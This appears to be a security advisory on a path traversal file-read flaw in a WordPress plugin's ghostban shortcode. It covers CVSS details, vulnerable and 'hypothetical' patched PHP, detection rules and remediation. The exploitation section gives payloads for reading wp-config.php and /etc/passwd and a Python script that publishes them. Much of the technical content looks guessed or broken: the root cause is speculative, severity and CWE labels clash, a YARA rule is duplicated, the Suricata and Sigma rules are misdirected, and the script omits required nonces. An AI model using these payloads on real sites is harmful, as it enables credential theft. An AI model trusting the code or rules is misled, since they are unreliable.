CVE-2025-15020

Executive Summary

CVE-2025-15020 is a critical vulnerability in the Gotham Block Extra Light WordPress plugin, affecting all versions up to and including 1.5.0. The flaw resides in the ghostban shortcode, which fails to properly sanitize user-supplied file paths, allowing authenticated attackers with contributor-level access or higher to perform an Arbitrary File Read. This enables the exfiltration of sensitive server-side files, including wp-config.php, database credentials, and other configuration data. The vulnerability is classified as a Path Traversal (CWE-73) and has a CVSS score of 6.5 (Medium), but its impact is high due to the potential for complete information disclosure. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is unpatched, any site running version 1.5.0 or earlier is at risk. Administrators should immediately disable the plugin and monitor for updates from the vendor (Gotham). The lack of a patch increases the supply chain risk, as attackers may target unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is 6.5, the actual risk is elevated because the vulnerability allows reading sensitive files (e.g., wp-config.php), which can lead to full site compromise if credentials are exposed. The EPSS score of 0.0% suggests low exploitation probability currently, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability is a classic Path Traversal (CWE-73) in the ghostban shortcode. The shortcode is intended to allow contributors to embed content, but it accepts a file parameter that is used to read files from the server. The plugin fails to validate or sanitize the file parameter, allowing attackers to use directory traversal sequences (e.g., ../../) to read arbitrary files outside the intended directory.

Root Cause: The plugin uses a function like file_get_contents() or include() with user input without proper validation. For example:

$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;

Attack Vector: An authenticated user with contributor-level access can craft a shortcode like:

[ghostban file="../../../../etc/passwd"]

This would read the /etc/passwd file and display its contents.

Impact: Attackers can read:

• wp-config.php (database credentials, salts)
• /etc/passwd (user enumeration)
• Other sensitive configuration files
• Source code of other plugins/themes

Vulnerable vs. Patched Code

Vulnerable Code (v1.5.0):

function ghostban_shortcode($atts) {
    $atts = shortcode_atts(array('file' => ''), $atts);
    $file = $atts['file'];
    if (file_exists($file)) {
        $content = file_get_contents($file);
        return '<pre>' . htmlspecialchars($content) . '</pre>';
    }
    return 'File not found.';
}
add_shortcode('ghostban', 'ghostban_shortcode');

Patched Code (Hypothetical):

function ghostban_shortcode($atts) {
    $atts = shortcode_atts(array('file' => ''), $atts);
    $file = basename($atts['file']); // Remove path traversal
    $allowed_dir = WP_CONTENT_DIR . '/uploads/ghostban/';
    $file_path = $allowed_dir . $file;
    if (strpos(realpath($file_path), realpath($allowed_dir)) === 0 && file_exists($file_path)) {
        $content = file_get_contents($file_path);
        return '<pre>' . htmlspecialchars($content) . '</pre>';
    }
    return 'File not found.';
}
add_shortcode('ghostban', 'ghostban_shortcode');

Key Fixes:

1. Use basename() to strip directory traversal.
2. Restrict file reads to a specific allowed directory.
3. Validate the resolved path is within the allowed directory using realpath().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Gotham Block Extra Light <= 1.5.0
• Authenticated user with contributor role or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the shortcode with a path traversal payload:

   [ghostban file="../../../../wp-config.php"]
   

4. Preview or publish the post. The contents of wp-config.php will be displayed.

Example Payloads:

• Read database config: [ghostban file="../../../../wp-config.php"]
• Read system passwd: [ghostban file="../../../../etc/passwd"]
• Read Apache config: [ghostban file="../../../../etc/apache2/apache2.conf"]

Automation Script (Python):

import requests

target = "http://target.com"
username = "attacker"
password = "password123"

session = requests.Session()
login_url = f"{target}/wp-login.php"
session.post(login_url, data={"log": username, "pwd": password})

post_url = f"{target}/wp-admin/post-new.php"
payload = '[ghostban file="../../../../wp-config.php"]'
data = {
    "post_title": "Exploit",
    "content": payload,
    "post_status": "publish"
}
session.post(post_url, data=data)
print("Exploit sent. Check the published post.")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for shortcodes containing ghostban with suspicious file parameters.
2. Look for posts/pages created by contributor-level users containing path traversal patterns.
3. Check web server logs for requests to wp-admin/post.php with unusual content.

Response:

1. Immediately disable the Gotham Block Extra Light plugin.
2. Review all posts/pages created by contributors for malicious shortcodes.
3. Rotate all secrets exposed (database passwords, salts, API keys).
4. Apply virtual patching via WAF rules (see Detection Engineering).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Posts/pages containing the shortcode [ghostban file="..."] with path traversal sequences.
• Unexpected files in the WordPress uploads directory.

Network IOCs:

• HTTP requests to wp-admin/post.php with content parameter containing ghostban and ../.
• Outbound connections from the web server to unknown IPs (if data exfiltration occurs).

Log IOCs:

• Web server logs showing POST /wp-admin/post.php with content=[ghostban file=.
• PHP error logs showing file_get_contents() failures for non-existent paths.

YARA Rule:

rule CVE_2025_15020_Gotham_File_Read {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15020 in WordPress"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15020"
    strings:
        $shortcode = /\[ghostban\s+file\s*=\s*["'][^"']*\.\.\/[^"']*["']\]/ nocase
        $wp_config = "wp-config.php"
        $passwd = "/etc/passwd"
    condition:
        $shortcode or ($shortcode and ($wp_config or $passwd))
}

Detection Engineering

YARA Rule

rule CVE_2025_15020_Gotham_File_Read {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15020 in WordPress"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15020"
    strings:
        $shortcode = /\[ghostban\s+file\s*=\s*["'][^"']*\.\.\/[^"']*["']\]/ nocase
        $wp_config = "wp-config.php"
        $passwd = "/etc/passwd"
    condition:
        $shortcode or ($shortcode and ($wp_config or $passwd))
}

Sigma Rule

title: CVE-2025-15020 - Gotham Block Extra Light Arbitrary File Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-15020 via shortcode injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'content=[ghostban'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode by administrators (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-15020 - Gotham Block Extra Light File Read Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"content=[ghostban"; http_client_body; content:"file="; http_client_body; content:"../"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the Gotham Block Extra Light plugin until a patch is released.
2. Audit user roles: Review all contributor-level users and their recent posts for malicious shortcodes.
3. Rotate secrets: Change all database passwords, WordPress salts, and API keys if wp-config.php was exposed.

Long-Term Fixes:

• Vendor patch: Apply the official patch when released by Gotham.
• Virtual patching: Use a WAF to block requests containing [ghostban file= with path traversal patterns.
• Code hardening: Implement input validation and path restriction in custom shortcodes.

Workaround:

• If the plugin is essential, modify the shortcode function to restrict file reads to a specific directory (e.g., wp-content/uploads/ghostban/) and use basename() to strip paths.

Monitoring:

• Enable logging for all shortcode usage.
• Monitor for unusual file access patterns in web server logs.

Valters IT
Securing Digital Frontiers